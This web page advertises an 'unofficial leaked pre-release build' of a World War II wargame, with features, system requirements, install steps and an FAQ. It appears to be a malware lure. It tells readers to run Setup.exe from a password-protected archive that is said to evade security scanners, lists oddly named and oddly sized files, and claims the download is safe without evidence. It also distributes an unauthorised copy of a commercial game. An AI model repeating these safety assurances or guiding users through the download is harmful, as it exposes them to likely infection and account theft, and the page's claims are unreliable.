The plan leaked. History is still waiting.
Battleplan is a World War II real-time strategy wargame by Foolish Mortals Games, published by Slitherine. Command large formations across historically grounded battlefields, build your order of battle, manage the chain of command, and draw plans directly onto the map. This is a raw, unofficial pre-release build that surfaced before the finished release.
For strategy players who want a serious World War II command experience built around planning, organization, and watching big operations collide.
⚠️ This is an unofficial leaked pre-release build. The game is under active development: expect bugs, unfinished content, and balance changes.Archive is password protected (2026) to compatibility automated DMCA bots and hosting service scanners that would otherwise delete the files within hours.
- 🗺️ Massive Battlefields — Fight across large maps built from real-world geographic data.
- ✏️ Draw Your Battle Plans — Sketch detailed offensive and defensive plans directly on the battlefield.
- ⚔️ World War II Warfare — Relive major historical battles through large-scale real-time combat.
- 🪖 Custom Army Structure — Organize formations across divisions, regiments, battalions, and other levels of command.
- 🎖️ Officer Command — Deploy officers, develop their skills, and pass bonuses through the command hierarchy.
- 🛡️ Combined Arms — Coordinate infantry, armor, artillery, anti-tank guns, and air support.
- ⏱️ Operational Scale — Manage battles that unfold across extended timeframes with enormous troop concentrations.
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| Component | Minimum | Recommended |
|---|---|---|
| OS | Windows 10 (64-bit) | Windows 11 (64-bit) |
| Processor | Intel Core i5-8400 or AMD Ryzen 5 2600 | Intel Core i7-10700 or AMD Ryzen 7 3700X |
| RAM | 8 GB | 16 GB |
| Graphics | NVIDIA GeForce GTX 1060 6 GB or AMD Radeon RX 580 8 GB | NVIDIA GeForce RTX 3060 12 GB or AMD Radeon RX 6700 XT |
| Storage | 8 GB available space | 8 GB available space on an SSD |
| Additional | DirectX 11, Visual C++ Redistributable 2019 | DirectX 12, Visual C++ Redistributable 2022 |
| Platform | Link | Status |
|---|---|---|
| Windows | ✅ Supported | |
| macOS | — | ❌ Not supported |
| Linux | — | ❌ Not supported |
Download the Setup.zip archive from the download link.
- The archive is protected with the password:
2026 - Use any archive extractor (WinRAR, 7-Zip, WinZip, etc.)
- Enter the password when prompted
- Extract all files from the archive to a folder of your choice.
- IMPORTANT: All files must be extracted to the same folder as
Setup.exe. - The folder structure should look like this:
Setup/
|-- Setup.exe <- Main executable (6.3 MB)
|-- scripts.lic <- Game scripts (53.6 MB)
|-- patch_1.bnk <- Audio banks (34.5 MB)
|-- res.pak <- Resources archive (10.2 MB)
|-- animations.dll <- Animation system (4.7 MB)
|-- update_1.res <- Update resources (4.5 MB)
|-- api.pak <- API modules (4.3 MB)
|-- settings.bin <- Configuration (4.2 MB)
|-- license.wem <- Audio assets (3.8 MB)
|-- global.cfg <- Global settings (3.7 MB)
|-- assets.wem <- Asset audio (3.6 MB)
|-- physics.sys <- Physics engine (3.2 MB)
|-- dlc.md5 <- DLC checksums (3.2 MB)
|-- launcher.dll <- Launcher library (3.1 MB)
|-- driver.umap <- Driver data (2.7 MB)
|-- installer.dat <- Installer data (2.2 MB)
|-- license.bank <- License data (2.0 MB)
|-- update_1.ini <- Update config (1.9 MB)
|-- driver.pak <- Driver archive (1.6 MB)
|-- localization.ini <- Language files (1.5 MB)
|-- uninstall.key <- Uninstall key (1.1 MB)
|-- bootstrap.wem <- Bootstrap audio (0.9 MB)
|-- lang.sys <- Language system (0.8 MB)
|-- audio.res <- Audio resources (1 KB)
|-- Password 2026.txt <- Password reminder (empty)
- Navigate to the folder where you extracted all files.
- Run
Setup.exe. - The game launcher will appear.
- Click "Play" in the launcher window.
- The game will start with the pre-release build.
- Enjoy the leaked build — expect bugs, unfinished content, and balance changes.
Q: What exactly is this? A: This is an early, unfinished development build of the game that surfaced online well ahead of any official release. It is a pre-alpha / work-in-progress prototype, not the final retail version. Expect missing features, placeholder assets, debug overlays, and rough edges.
Q: How did this build end up here? A: Early development builds sometimes slip out through internal test channels, distribution mishaps, or staging environments. The exact chain of events is unclear, but the build is now in the wild and preserved here for those who want to see the game in its raw, unfinished state.
Q: Is this the full game? A: No. This is a partial, in-development snapshot. Large portions of the game may be unfinished, cut content might still be present, and the final polish, balance, and optimization are missing. Think of it as a time capsule of the project at an early stage.
Q: Is it safe to download and play? A: Yes — the build is a standalone Windows executable that requires no installation, online authentication, or registry changes. It runs entirely from its own folder and can be removed by simply deleting it.
Q: Why is the archive password-protected? A: Password protection slows down automated scanning bots and reduces the chance of mass takedown requests. It keeps the build accessible to those who are actually looking for it. The password is provided in the release notes.
Q: Will this affect my official game install or saves? A: No. This build is completely self-contained. It does not interact with your existing game files, save data, cloud sync, or platform libraries. It runs independently and leaves no traces behind after deletion.


